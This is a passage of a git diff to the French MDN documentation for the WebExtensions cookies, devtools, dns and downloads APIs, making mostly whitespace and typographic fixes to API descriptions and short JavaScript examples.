cookie non sécurisé pour `www.example.com`, avec n'importe quel chemin. - - Lire un cookie non sécurisé pour `.example.com`, avec n'importe quel chemin. - - Écrire un cookie sécurisé ou non sécurisé pour `www.example.com` avec n'importe quel chemin. - - Écrire un cookie sécurisé ou non sécurisé pour `.example.com` avec n'importe quel chemin. + - Lire un cookie non sécurisé pour `www.example.com`, avec n'importe quel chemin. + - Lire un cookie non sécurisé pour `.example.com`, avec n'importe quel chemin. + - Écrire un cookie sécurisé ou non sécurisé pour `www.example.com` avec n'importe quel chemin. + - Écrire un cookie sécurisé ou non sécurisé pour `.example.com` avec n'importe quel chemin. Il ne peut _pas_ : - - Lire ou écrire un cookie pour `foo.example.com`. - - Lire ou écrire un cookie pour `foo.www.example.com`. + - Lire ou écrire un cookie pour `foo.example.com`. + - Lire ou écrire un cookie pour `foo.www.example.com`. - `*://*.example.com/` @@ -58,23 +58,23 @@ Pour utiliser cette API, un module complémentaire doit spécifier la [permiss Les cookies tiers sont des cookies qui sont définis par un site Web autre que celui sur lequel vous êtes actuellement. Par exemple : 1. Vous visitez [bbc.com](http://bbc.com). Il contient une annonce de [tracker.com](http://tracker.com) qui définit un cookie associé au domaine "[tracker.com](http://tracker.com)". -2. Vous visitez [cnn.com](http://cnn.com). Il contient également une annonce de [tracker.com](http://tracker.com) qui définit un cookie associé au domaine "[tracker.com](http://tracker.com)". +2. Vous visitez [cnn.com](http://cnn.com). Il contient également une annonce de [tracker.com](http://tracker.com) qui définit un cookie associé au domaine "[tracker.com](http://tracker.com)". 3. Finalement, les deux cookies peuvent être envoyés à [tracker.com](http://tracker.com). qui peut alors comprendre que le même utilisateur a visité les deux sites. Lorsque l'isolement de la première partie est activé, les cookies sont en outre qualifiés par le domaine de la page d'origine visitée par l'utilisateur (essentiellement, le domaine montré à l'utilisateur dans la barre d'URL, également appelé "première partie du domaine"). Cela signifie qu'un tracker ne peut pas corréler son cookie de [bbc.com](http://bbc.com) avec son cookie de [cnn.com](http://cnn.com), de sorte que le tracker ne peut pas suivre un seul utilisateur sur les deux sites. L'isolement de la première partie peut être activé directement par l'utilisateur en ajustant la configuration du navigateur et peut être défini par des extensions à l'aide du paramètre [`firstPartyIsolate`](/fr/Add-ons/WebExtensions/API/privacy/websites#Properties) de l'API de [`privacy`](/fr/docs/Mozilla/Add-ons/WebExtensions/API/privacy) Notez que l'isolation de première partie est activée par défaut dans le [Tor Browser](https://www.torproject.org/). -Dans l'API `cookies`, le domaine de première partie est représenté à l'aide de l'attribut `firstPartyDomain`. Tous les cookies configurés pendant l'isolement de la première partie ont cet attribut défini sur le domaine de la page d'origine. Dans l'exemple ci-dessus, ce serait "[bbc.com](http://bbc.com)" pour un cookie et "[cnn.com](http://cnn.com)" pour l'autre. Tous les cookies définis par les sites Web alors que l'isolation de première partie est désactivée auront cette propriété définie sur une chaîne vide. +Dans l'API `cookies`, le domaine de première partie est représenté à l'aide de l'attribut `firstPartyDomain`. Tous les cookies configurés pendant l'isolement de la première partie ont cet attribut défini sur le domaine de la page d'origine. Dans l'exemple ci-dessus, ce serait "[bbc.com](http://bbc.com)" pour un cookie et "[cnn.com](http://cnn.com)" pour l'autre. Tous les cookies définis par les sites Web alors que l'isolation de première partie est désactivée auront cette propriété définie sur une chaîne vide. Le {{WebExtAPIRef("cookies.get()")}}, {{WebExtAPIRef("cookies.getAll()")}}, {{WebExtAPIRef("cookies.set()")}} et {{WebExtAPIRef("cookies.remove()")}} Les API acceptent toutes une option `firstPartyDomain`. Lorsque l'isolation de première partie est activée, vous devez fournir cette option ou les appels de l'API échoueront. Pour `get()`, `set()`, et `remove()`vous devez passer une valeur de chaîne de caractères. -Pour `getAll()`, vous pouvez aussi passer `null` ici, et ceci obtiendra tous les cookies, +Pour `getAll()`, vous pouvez aussi passer `null` ici, et ceci obtiendra tous les cookies, qu'ils aient ou non une valeur non vide pour `firstPartyDomain.` -Lorsque l'isolation de la première partie est désactivée, le paramètre `firstPartyDomain` est optionnel et par défaut est une chaîne vide. Une chaîne non vide peut être utilisée pour récupérer ou modifier les cookies d'isolation de première partie. De même, passer `null` comme `firstPartyDomain` pour `getAll()` retournera tous les cookies. +Lorsque l'isolation de la première partie est désactivée, le paramètre `firstPartyDomain` est optionnel et par défaut est une chaîne vide. Une chaîne non vide peut être utilisée pour récupérer ou modifier les cookies d'isolation de première partie. De même, passer `null` comme `firstPartyDomain` pour `getAll()` retournera tous les cookies. ## Types diff --git a/files/fr/mozilla/add-ons/webextensions/api/cookies/onchanged/index.md b/files/fr/mozilla/add-ons/webextensions/api/cookies/onchanged/index.md index d320e749e4..bf25828894 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/cookies/onchanged/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/cookies/onchanged/index.md @@ -19,7 +19,7 @@ L'événement `onChanged` de l'API {{WebExtAPIRef("cookies")}} est déclenché l Notez que la mise à jour des propriétés d'un cookie est implémentée en deux étapes : -1. Tout d'abord, le cookie à mettre à jour est tout d'abord entiérement supprimé, généralement une notification avec un {{WebExtAPIRef("cookies.OnChangedCause")}} d'écrasement. +1. Tout d'abord, le cookie à mettre à jour est tout d'abord entiérement supprimé, généralement une notification avec un {{WebExtAPIRef("cookies.OnChangedCause")}} d'écrasement. 2. Ensuite, un nouveau cookie est écrit avec les valeurs mises à jour, généralement une seconde notification avec un {{WebExtAPIRef("cookies.OnChangedCause")}} `explicite`. ## Syntaxe @@ -30,7 +30,7 @@ browser.cookies.onChanged.removeListener(listener) browser.cookies.onChanged.hasListener(listener) ``` -Cet API est également disponible en tant que `browser.cookies.onChanged.*`. +Cet API est également disponible en tant que `browser.cookies.onChanged.*`. Les événements ont trois fonctions : @@ -54,7 +54,7 @@ Les événements ont trois fonctions : - : Un `objet` contenant les détails de la modification survenue. Ses propriétés sont les suivantes : - `removed` - - : Un `booléen` défini sur `true` si un cookie a été supprimé et sinon false. + - : Un `booléen` défini sur `true` si un cookie a été supprimé et sinon false. - `cookie` - : Un objet {{WebExtAPIRef('cookies.Cookie')}} contenant les informations sur le cookie qui a été défini ou supprimé. - `cause` @@ -66,14 +66,14 @@ Les événements ont trois fonctions : ## Exemples -Cet exemple écoute les événements `onChanged` et enregistre les détails de l'argument `changeInfo` : +Cet exemple écoute les événements `onChanged` et enregistre les détails de l'argument `changeInfo` : ```js browser.cookies.onChanged.addListener(function(changeInfo) { - console.log('Cookie changed: ' + - '\n * Cookie: ' + JSON.stringify(changeInfo.cookie) + - '\n * Cause: ' + changeInfo.cause + - '\n * Removed: ' + changeInfo.removed); + console.log('Cookie changed: ' + + '\n * Cookie: ' + JSON.stringify(changeInfo.cookie) + + '\n * Cause: ' + changeInfo.cause + + '\n * Removed: ' + changeInfo.removed); }); ``` diff --git a/files/fr/mozilla/add-ons/webextensions/api/cookies/onchangedcause/index.md b/files/fr/mozilla/add-ons/webextensions/api/cookies/onchangedcause/index.md index 854e04acb1..8aa10049fd 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/cookies/onchangedcause/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/cookies/onchangedcause/index.md @@ -38,14 +38,14 @@ Les valeurs de ce type sont des chaînes. Les valeurs possibles sont : ## Exemples -Vous pouvez écouter l'événement {{WebExtAPIRef("cookies.onChanged")}} pour être averti lorsque les cookies changent. L'écouteur reçoit un objet `changeInfo` qui contient une propriété `cause`, dont la valeur est une chaîne `OnChangeCaused` : +Vous pouvez écouter l'événement {{WebExtAPIRef("cookies.onChanged")}} pour être averti lorsque les cookies changent. L'écouteur reçoit un objet `changeInfo` qui contient une propriété `cause`, dont la valeur est une chaîne `OnChangeCaused` : ```js browser.cookies.onChanged.addListener(function(changeInfo) { - console.log('Cookie changed: ' + - '\n * Cookie: ' + JSON.stringify(changeInfo.cookie) + - '\n * Cause: ' + changeInfo.cause + - '\n * Removed: ' + changeInfo.removed); + console.log('Cookie changed: ' + + '\n * Cookie: ' + JSON.stringify(changeInfo.cookie) + + '\n * Cause: ' + changeInfo.cause + + '\n * Removed: ' + changeInfo.removed); }); ``` diff --git a/files/fr/mozilla/add-ons/webextensions/api/cookies/remove/index.md b/files/fr/mozilla/add-ons/webextensions/api/cookies/remove/index.md index 01d599e69b..b144362dc4 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/cookies/remove/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/cookies/remove/index.md @@ -46,7 +46,7 @@ var removing = browser.cookies.remove( ### Valeur retournée -Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui sera remplie avec un objet {{WebExtAPIRef('cookies.Cookie')}} contenant des détails sur le cookie qui a été supprimé. Si un cookie correspondant au paramètre `details` n'a pas pu être trouvé, la promesse est remplie avec `null`. Si l'appel échoue pour une raison quelconque, la promesse sera rejetée avec un message d'erreur. +Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui sera remplie avec un objet {{WebExtAPIRef('cookies.Cookie')}} contenant des détails sur le cookie qui a été supprimé. Si un cookie correspondant au paramètre `details` n'a pas pu être trouvé, la promesse est remplie avec `null`. Si l'appel échoue pour une raison quelconque, la promesse sera rejetée avec un message d'erreur. ## Compatibilité du navigateur diff --git a/files/fr/mozilla/add-ons/webextensions/api/cookies/set/index.md b/files/fr/mozilla/add-ons/webextensions/api/cookies/set/index.md index 2b8b8351b3..debe534a61 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/cookies/set/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/cookies/set/index.md @@ -40,7 +40,7 @@ var setting = browser.cookies.set( - `firstPartyDomain`{{optional_inline}} - : Une `chaîne` représentant le domaine de première partie avec lequel le cookie sera associé. Cette propriété doit être fournie si l'isolation de la première partie est activée sur le navigateur. Voir [Isolement de la première partie](/fr/Add-ons/WebExtensions/API/cookies#Isolement_de_la_première_partie). - `httpOnly`{{optional_inline}} - - : Un `booléen` qui spécifie si le cookie doit être marqué comme HttpOnly (`true`), ou pas (false). S’il est omis, la valeur par défaut est `false`. + - : Un `booléen` qui spécifie si le cookie doit être marqué comme HttpOnly (`true`), ou pas (false). S’il est omis, la valeur par défaut est `false`. - `name`{{optional_inline}} - : Une `chaîne` représentant le nom du cookie. S’il est omis, il est vide par défaut. - `path`{{optional_inline}} @@ -58,7 +58,7 @@ var setting = browser.cookies.set( ### Valeur retournée -Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui sera remplie avec un objet {{WebExtAPIRef('cookies.Cookie')}} contenant les détails sur le cookie qui a été défini. Si l'appel échoue pour une quelconque raison, la promesse sera rejetée avec un message d’erreur. +Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui sera remplie avec un objet {{WebExtAPIRef('cookies.Cookie')}} contenant les détails sur le cookie qui a été défini. Si l'appel échoue pour une quelconque raison, la promesse sera rejetée avec un message d’erreur. ## Compatibilité du navigateur diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools/index.md b/files/fr/mozilla/add-ons/webextensions/api/devtools/index.md index c20574d11a..a041de30b6 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/devtools/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/devtools/index.md @@ -33,7 +33,7 @@ Pour utiliser cette API, vous devez disposer de la [permission API](/fr/Add-ons/ > **Note :** > -> Cette API est basé sur l'API [`chrome.downloads`](https://developer.chrome.com/extensions/downloads) de Chromium. +> Cette API est basé sur l'API [`chrome.downloads`](https://developer.chrome.com/extensions/downloads) de Chromium. > > Les données de compatibilité relatives à Microsoft Edge sont fournies par Microsoft Corporation et incluses ici sous la licence Creative Commons Attribution 3.0 pour les États-Unis. diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools/inspectedwindow/eval/index.md b/files/fr/mozilla/add-ons/webextensions/api/devtools/inspectedwindow/eval/index.md index 49c0dafa02..dd4a76b7ff 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/devtools/inspectedwindow/eval/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/devtools/inspectedwindow/eval/index.md @@ -56,7 +56,7 @@ var evaluating = browser.devtools.inspectedWindow.eval( - : `string`. L'expression JavaScript à évaluer. La chaîne doit évaluer un objet qui peut être représenté comme JSON, ou une exception sera lancée. Par exemple, l'expression ne doit pas évaluer une fonction. - `options`{{optional_inline}} - - : `object`. Options pour la fonction (Notez que Firefox ne supporte pas encore cette option), comme suit : + - : `object`. Options pour la fonction (Notez que Firefox ne supporte pas encore cette option), comme suit : - `frameURL`{{optional_inline}} - : `string`. L'URL du cadre dans lequel à évaluer l'expression. Si cela est supprimé, l'expression est évaluée dans la trame principale de la fenêtre. diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools/inspectedwindow/index.md b/files/fr/mozilla/add-ons/webextensions/api/devtools/inspectedwindow/index.md index a34bf0aec4..bfb52e1261 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/devtools/inspectedwindow/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/devtools/inspectedwindow/index.md @@ -13,7 +13,7 @@ original_slug: Mozilla/Add-ons/WebExtensions/API/devtools.inspectedWindow --- {{AddonSidebar}} -> **Note :** Cette page décrit les API de développement de WebExtensions telles qu'elles existent dans Firefox 54. Bien que les API soient basées sur les [APIs de devtools de Chrome](https://developer.chrome.com/extensions/devtools), il existe encore de nombreuses fonctionnalités qui ne sont pas encore implémentées dans Firefox et ne sont donc pas documentées ici. Pour voir les fonctionnalités actuellement manquantes, regarder [Limitations des APIs devtools](/fr/Add-ons/WebExtensions/Using_the_devtools_APIs#Limitations_of_the_devtools_APIs). +> **Note :** Cette page décrit les API de développement de WebExtensions telles qu'elles existent dans Firefox 54. Bien que les API soient basées sur les [APIs de devtools de Chrome](https://developer.chrome.com/extensions/devtools), il existe encore de nombreuses fonctionnalités qui ne sont pas encore implémentées dans Firefox et ne sont donc pas documentées ici. Pour voir les fonctionnalités actuellement manquantes, regarder [Limitations des APIs devtools](/fr/Add-ons/WebExtensions/Using_the_devtools_APIs#Limitations_of_the_devtools_APIs). L'API `devtools.inspectedWindow` permet à un extension de devtools d'interagir avec la fenêtre sur laquelle les outils de développement sont attachés. @@ -43,4 +43,4 @@ Comme toutes les APIs de `devtools`, cette API n'est disponible que pour exécut > > Les données de compatibilité relatives à Microsoft Edge sont fournies par Microsoft Corporation et incluses ici sous la licence Creative Commons Attribution 3.0 pour les États-Unis. -<div class="hidden"><p>// Copyright 2015 The Chromium Authors. All rights reserved.<br>//<br>// Redistribution and use in source and binary forms, with or without<br>// modification, are permitted provided that the following conditions are<br>// met:<br>//<br>// * Redistributions of source code must retain the above copyright<br>// notice, this list of conditions and the following disclaimer.<br>// * Redistributions in binary form must reproduce the above<br>// copyright notice, this list of conditions and the following disclaimer<br>// in the documentation and/or other materials provided with the<br>// distribution.<br>// * Neither the name of Google Inc. nor the names of its<br>// contributors may be used to endorse or promote products derived from<br>// this software without specific prior written permission.<br>//<br>// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS<br>// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT<br>// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR<br>// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT<br>// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,<br>// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT<br>// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,<br>// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY<br>// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT<br>// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE<br>// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.</p></div> +<div class="hidden"><p>// Copyright 2015 The Chromium Authors. All rights reserved.<br>//<br>// Redistribution and use in source and binary forms, with or without<br>// modification, are permitted provided that the following conditions are<br>// met:<br>//<br>// * Redistributions of source code must retain the above copyright<br>// notice, this list of conditions and the following disclaimer.<br>// * Redistributions in binary form must reproduce the above<br>// copyright notice, this list of conditions and the following disclaimer<br>// in the documentation and/or other materials provided with the<br>// distribution.<br>// * Neither the name of Google Inc. nor the names of its<br>// contributors may be used to endorse or promote products derived from<br>// this software without specific prior written permission.<br>//<br>// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS<br>// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT<br>// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR<br>// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT<br>// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,<br>// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT<br>// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,<br>// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY<br>// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT<br>// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE<br>// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.</p></div> diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools/network/index.md b/files/fr/mozilla/add-ons/webextensions/api/devtools/network/index.md index 03e7356a3a..57fc9f5f16 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/devtools/network/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/devtools/network/index.md @@ -20,7 +20,7 @@ Comme toutes les APIs de devtools, cette API est uniquement disponible pour le c ## Fonctions - [devtools.network.getHAR()](/fr/docs/Mozilla/Add-ons/WebExtensions/API/devtools.network/getHAR) - - : Obtenez le [journal HAR](http://www.softwareishard.com/blog/har-12-spec/#log) pour la page chargée dans l'onglet en cours.. + - : Obtenez le [journal HAR](http://www.softwareishard.com/blog/har-12-spec/#log) pour la page chargée dans l'onglet en cours.. ## Evénements diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools/network/onnavigated/index.md b/files/fr/mozilla/add-ons/webextensions/api/devtools/network/onnavigated/index.md index eed26e56a7..f119a8aae9 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/devtools/network/onnavigated/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/devtools/network/onnavigated/index.md @@ -63,7 +63,7 @@ browser.devtools.network.onNavigated.addListener(handleNavigated); > > Cette API est basée sur l'API [`chrome.devtools`](https://developer.chrome.com/extensions/devtools) de Chromium. > -> Les données de compatibilité de Microsoft Edge sont fournies par Microsoft Corporation et sont incluses ici sous la licence Creative Commons Attribution 3.0 United States. +> Les données de compatibilité de Microsoft Edge sont fournies par Microsoft Corporation et sont incluses ici sous la licence Creative Commons Attribution 3.0 United States. <div class="hidden"><pre>// Copyright 2015 The Chromium Authors. All rights reserved. // diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools/network/onrequestfinished/index.md b/files/fr/mozilla/add-ons/webextensions/api/devtools/network/onrequestfinished/index.md index badfae44b0..eacdf972f7 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/devtools/network/onrequestfinished/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/devtools/network/onrequestfinished/index.md @@ -34,7 +34,7 @@ Les événements ont trois fonctions - `addListener(listener)` - : Ajoute un écouteur à cet événement. - `removeListener(listener)` - - : Arrêtez d'écouter cet événement. L'argument de `listener` est l'écouteur à supprimer. + - : Arrêtez d'écouter cet événement. L'argument de `listener` est l'écouteur à supprimer. - `hasListener(listener)` - : Vérifiez si `listener` est enregistré pour cet événement. Renvoie `true`s'il écoute, sinon `false`. diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/create/index.md b/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/create/index.md index 0aef6cc3fa..3ab1879ce2 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/create/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/create/index.md @@ -47,7 +47,7 @@ Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui se ## Exemples -Créer un nouveau panneau, et ajoute des auditeurs à ces événements onShown et onHidden : +Créer un nouveau panneau, et ajoute des auditeurs à ces événements onShown et onHidden : ```js function handleShown() { diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/extensionpanel/index.md b/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/extensionpanel/index.md index da15469158..727d7ef5e5 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/extensionpanel/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/extensionpanel/index.md @@ -19,7 +19,7 @@ Une `ExtensionPanel` représente un panneau ajouté aux devtools. C'est la réso Les valeurs de ce type sont des objets. Définissez deux événements, `onShown` et `onHidden`. -- `onShown` est émis lorsque le panneau est affiché dans les devtools (par exemple, quand l'utilisateur a cliqué sur le panneau dans la fenêtre des devtools). +- `onShown` est émis lorsque le panneau est affiché dans les devtools (par exemple, quand l'utilisateur a cliqué sur le panneau dans la fenêtre des devtools). - `onHidden` est émis lorsque le panneau est caché (par exemple, quand l'utilisateur a basculé sur un onglet différent dans la fenêtre devtools). ## Compatibilité du navigateur diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/extensionsidebarpane/onhidden/index.md b/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/extensionsidebarpane/onhidden/index.md index 07027a36f4..5127b668ac 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/extensionsidebarpane/onhidden/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/extensionsidebarpane/onhidden/index.md @@ -35,7 +35,7 @@ Les événements ont trois fonctions: - `removeListener(listener)` - : Arrête d'écouter cet événement. L'argument `listener` est l'écouteur à supprimer. - `hasListener(listener)` - - : Vérifie si `listener` est enregistré pour cet événement. Renvoie `true` s'il écoute, sinon `false`. + - : Vérifie si `listener` est enregistré pour cet événement. Renvoie `true` s'il écoute, sinon `false`. ## Syntaxe addListener diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/extensionsidebarpane/setexpression/index.md b/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/extensionsidebarpane/setexpression/index.md index 91d228de49..4515ab4fb0 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/extensionsidebarpane/setexpression/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/extensionsidebarpane/setexpression/index.md @@ -57,7 +57,7 @@ Ce code crée un volet de barre latérale qui affiche le [`tagName`](/fr/docs/We function onCreated(sidebarPane) { browser.devtools.panels.elements.onSelectionChanged.addListener(() => { - const exp = "$0 && $0.tagName"; + const exp = "$0 && $0.tagName"; const title = "Selected Element tagName"; sidebarPane.setExpression(exp, title); }); diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/extensionsidebarpane/setobject/index.md b/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/extensionsidebarpane/setobject/index.md index 24de71bf9c..fccf0ea6f7 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/extensionsidebarpane/setobject/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/extensionsidebarpane/setobject/index.md @@ -35,7 +35,7 @@ var setting = browser.devtools.panels.setObject( ### Paramètres - `jsonObject` - - : `String` ou `Array` ou `Object`. L'objet à afficher. S'il s'agit d'un objet JSON-serialized, donc les propriétés comme les fonctions seront omises. + - : `String` ou `Array` ou `Object`. L'objet à afficher. S'il s'agit d'un objet JSON-serialized, donc les propriétés comme les fonctions seront omises. - `rootTitle` {{optional_inline}} - : `String`. Le titre de la racine de l'arbre dans lequel l'objet est affiché. diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/index.md b/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/index.md index 76a93a2854..143c3cd90a 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/index.md @@ -13,7 +13,7 @@ original_slug: Mozilla/Add-ons/WebExtensions/API/devtools.panels --- {{AddonSidebar}} -> **Note :** Bien que les API soient basées sur les [APIs de devtools de Chrome](https://developer.chrome.com/extensions/devtools), il existe encore de nombreuses fonctionnalités qui ne sont pas encore implémentées dans Firefox et ne sont donc pas documentées ici. Pour voir les fonctionnalités actuellement manquantes, regarder [Limitations des APIs devtools](/fr/Add-ons/WebExtensions/Using_the_devtools_APIs#Limitations_of_the_devtools_APIs). +> **Note :** Bien que les API soient basées sur les [APIs de devtools de Chrome](https://developer.chrome.com/extensions/devtools), il existe encore de nombreuses fonctionnalités qui ne sont pas encore implémentées dans Firefox et ne sont donc pas documentées ici. Pour voir les fonctionnalités actuellement manquantes, regarder [Limitations des APIs devtools](/fr/Add-ons/WebExtensions/Using_the_devtools_APIs#Limitations_of_the_devtools_APIs). L'API devtools.panels permet à une extension devtools de définir son interface utilisateur à l'intérieur de la fenêtre devtools. diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/onthemechanged/index.md b/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/onthemechanged/index.md index 2c4351f95d..eeaa26dc86 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/onthemechanged/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/onthemechanged/index.md @@ -42,7 +42,7 @@ Les événements ont trois fonctions : - : Function qui sera appelée lors de l'événement. La fonction passera les arguments suivants : - `themeName` - - : `string`. Nom du nouveau thème : ce sera l'une des valeurs autorisées pour [`devtools.panels.themeName`](/fr/docs/Mozilla/Add-ons/WebExtensions/API/devtools.panels/themeName). + - : `string`. Nom du nouveau thème : ce sera l'une des valeurs autorisées pour [`devtools.panels.themeName`](/fr/docs/Mozilla/Add-ons/WebExtensions/API/devtools.panels/themeName). ## Compatibilité du navigateur diff --git a/files/fr/mozilla/add-ons/webextensions/api/dns/resolve/index.md b/files/fr/mozilla/add-ons/webextensions/api/dns/resolve/index.md index da34727324..0c0c8a85f1 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/dns/resolve/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/dns/resolve/index.md @@ -53,7 +53,7 @@ A [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promisee) qui ser - `addresses` - : `array` of `string`. Les adresses IP associées à cet enregistrement DNS. - `canonicalName` - - : `string`. Le nom canonique de cet enregistrement. Ceci n'est inclus dans la réponse que si le drapeau `"canonical_name"`a été passé à `resolve()`. + - : `string`. Le nom canonique de cet enregistrement. Ceci n'est inclus dans la réponse que si le drapeau `"canonical_name"`a été passé à `resolve()`. - `isTRR` - : `boolean`: `true` si l'enregistrement a été récupéré à l'aide d'un TRR (Trusted Recursive Resolver). diff --git a/files/fr/mozilla/add-ons/webextensions/api/downloads/download/index.md b/files/fr/mozilla/add-ons/webextensions/api/downloads/download/index.md index 2450697eb6..6b9c9d680c 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/downloads/download/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/downloads/download/index.md @@ -18,7 +18,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/downloads/download La fonction **`download()`** de l'API {{WebExtAPIRef("downloads")}} télécharge le fichier, compte tenu de son URL et d'autres préférences optionnelles. - Si l'`url` spécifiée utilise le protocole HTTP ou HTTPS, la requête inclura tous les cookies actuellement définis pour son nom d'hôte. -- Si à la fois le `nom de fichier` et `saveAs` sont spécifiés, la boîte de dialogue Enregistrer sous s'affiche, pré-remplie avec le `nom du fichier` spécifié. +- Si à la fois le `nom de fichier` et `saveAs` sont spécifiés, la boîte de dialogue Enregistrer sous s'affiche, pré-remplie avec le `nom du fichier` spécifié. C'est une fonction asynchrone qui renvoie une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise). @@ -46,9 +46,9 @@ var downloading = browser.downloads.download( - `body`{{optional_inline}} - : Un `string` représentant le corps du message de la requête. - `conflictAction`{{optional_inline}} - - : Une chaîne représentant l'action que vous voulez effectuer s'il y a un conflit de nom de fichier, tel que défini dans le {{WebExtAPIRef('downloads.FilenameConflictAction')}} type (par défaut "uniquify" quand il n'est pas spécifié). + - : Une chaîne représentant l'action que vous voulez effectuer s'il y a un conflit de nom de fichier, tel que défini dans le {{WebExtAPIRef('downloads.FilenameConflictAction')}} type (par défaut "uniquify" quand il n'est pas spécifié). - `filename`{{optional_inline}} - - : Un `string` eprésentant un chemin d'accès au fichier par rapport au répertoire de téléchargement par défaut, qui indique l'emplacement où vous souhaitez enregistrer le fichier et le nom de fichier que vous souhaitez utiliser. Les chemins absolus, les chemins vides et les chemins contenant des références arrières (`../`) provoqueront une erreur. Si elle est omise, cette valeur sera par défaut le nom de fichier déjà donné au fichier de téléchargement, et un emplacement immédiatement dans le répertoire de téléchargement. + - : Un `string` eprésentant un chemin d'accès au fichier par rapport au répertoire de téléchargement par défaut, qui indique l'emplacement où vous souhaitez enregistrer le fichier et le nom de fichier que vous souhaitez utiliser. 